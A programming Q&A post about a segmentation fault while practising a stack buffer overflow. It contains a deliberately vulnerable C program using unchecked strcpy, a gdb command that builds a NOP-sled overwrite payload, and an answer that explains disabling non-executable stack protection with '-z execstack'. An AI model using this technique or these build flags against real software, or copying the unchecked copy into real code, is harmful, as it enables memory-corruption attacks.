Search code examples
cx86gdbmemory-segmentation

Do anyone konow why I get SIGSEGV, segmentation fault by execution 0x90


I get a segmentation fault error by executing 0x90 why cold this happen ??

this is my C code :

#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<stdlib.h>
#include<stdint.h>
char * buffer;


int64_t * startPtr;
int64_t * endPtr;
int64_t * exploitAddress;

int test()
{

    printf("test\n");
    return 0;
}

void main(int argc, char ** argv)
{
    char buffer[512];
    startPtr = (int64_t *) &test;
    printf("funcPtr : \n %p\n", startPtr);
    printf("bufferPtr : \n %p\n", buffer);
    strcpy(buffer, argv[1]);
    printf("string : \n%s\n", buffer);

}

this is what I am doing in gdb :

(gdb) run `python -c 'print "\x90" * (256+8) + "\x90"*(256) + "\x30\xd8\xff\xff\xff\x7f\x00\x00"'`
Starting program: /home/nikolaij/Schreibtisch/BufferOverflow/OpenGL `python -c 'print "\x90" * (256+8) + "\x90"*(256) + "\x30\xd8\xff\xff\xff\x7f\x00\x00"'`
funcPtr : 
 0x4005b6
bufferPtr : 
 0x7fffffffd800
string : 
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������0����

Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffd830 in ?? ()
(gdb) info reg
rax            0x219    537
rbx            0x0  0
rcx            0x7ffffde7   2147483111
rdx            0x7ffff7dd3780   140737351858048
rsi            0x1  1
rdi            0x1  1
rbp            0x9090909090909090   0x9090909090909090
rsp            0x7fffffffda10   0x7fffffffda10
r8             0x0  0
r9             0x219    537
r10            0x20e    526
r11            0x246    582
r12            0x4004c0 4195520
r13            0x7fffffffdae0   140737488345824
r14            0x0  0
r15            0x0  0
rip            0x7fffffffd830   0x7fffffffd830
eflags         0x10206  [ PF IF RF ]
cs             0x33 51
---Type <return> to continue, or q <return> to quit---
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb) x /64xb 0x00007fffffffd830
0x7fffffffd830: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd838: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd840: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd848: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd850: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd858: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd860: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd868: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
(gdb) 

Notice :

0x7fffffffd830: 0x90
rip            0x7fffffffd830   0x7fffffffd830

compiling :

gcc test.c -fno-stack-protector -o OpenGL

The program name "OpenGL" has nothing to do with the program. It's just from an older programm.

Thanks for your help.


Solution

  • You need to build with -Wl,-z,execstack.

    Most modern systems protect against putting executable code on stack, in order to protect against stack overflow attack you are trying to implement.

    Documentation.